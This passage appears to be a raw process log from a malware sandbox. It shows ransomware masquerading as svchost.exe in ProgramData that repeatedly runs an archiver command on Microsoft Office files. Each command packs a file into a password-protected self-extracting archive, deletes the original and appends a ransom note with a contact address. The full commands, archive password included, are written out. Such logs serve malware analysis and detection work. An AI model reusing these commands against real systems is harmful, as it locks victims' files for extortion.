                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.excelmui.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.excelmui.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:4336
                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.office32mui.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.office32mui.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:1044
                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.office32ww.msi.16.x-none.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.office32ww.msi.16.x-none.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:5472
                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.officemui.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.officemui.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:1704
                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.officemuiset.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.officemuiset.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:3956
                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:1572
                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.onenotemui.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.onenotemui.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:5512
                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:4392
                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.osmmui.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.osmmui.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:1592
                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:4056
                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.osmuxmui.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.osmuxmui.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:4424
                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:1920
                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:1816
                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.powerpointmui.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.powerpointmui.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:2816
                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.PowerView.PowerView.x-none.msi.16.x-none.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.PowerView.PowerView.x-none.msi.16.x-none.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:2420
                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.Proof.Culture.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.Proof.Culture.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:5216
                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.Proof.Culture.msi.16.es-es.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.Proof.Culture.msi.16.es-es.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:3236
                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.Proof.Culture.msi.16.fr-fr.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:2320
                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.proofing.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.proofing.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                        PID:3532
                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.shared.Office.x-none.msi.16.x-none.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                          PID:3984
                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.Word.Word.x-none.msi.16.x-none.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                            PID:5524
                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.wordmui.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.wordmui.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                              PID:5040
                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Licenses\c2rpridslicensefiles_auto.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Licenses\c2rpridslicensefiles_auto.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                PID:3580
                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Licenses16\c2rpridslicensefiles_auto.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Licenses16\c2rpridslicensefiles_auto.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:4448
                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\loc\AppXManifestLoc.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\loc\AppXManifestLoc.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5016
                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\AccessRuntime2019_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\AccessRuntime2019_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                      PID:5700
                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\AccessRuntime_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\AccessRuntime_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                        PID:4568
                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\Bibliography\BIBFORM.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\Bibliography\BIBFORM.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                          PID:1588
                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\Client2019_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\Client2019_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                            PID:5424
                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientARMRefer2019_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientARMRefer2019_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                              PID:3844
                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientARMRefer_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientARMRefer_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1656
                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientLangPack2019_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientLangPack2019_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:5508
                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientLangPack_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientLangPack_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:3484
                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientOSub2019_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientOSub2019_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:2572
                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientOSub_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientOSub_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:2340
                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientPreview_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientPreview_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:1460
                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub2019_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub2019_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:3924
                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:5092
                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub_M365_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub_M365_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:4984
                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientVolumeLicense2019_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientVolumeLicense2019_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:5632
                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ClientVolumeLicense_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ClientVolumeLicense_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:4916
                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\client_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\client_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:3964
                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\CT_ROOTS.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\CT_ROOTS.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:4592
                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ExcelNaiveBayesCommandRanker.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ExcelNaiveBayesCommandRanker.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:4836
                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
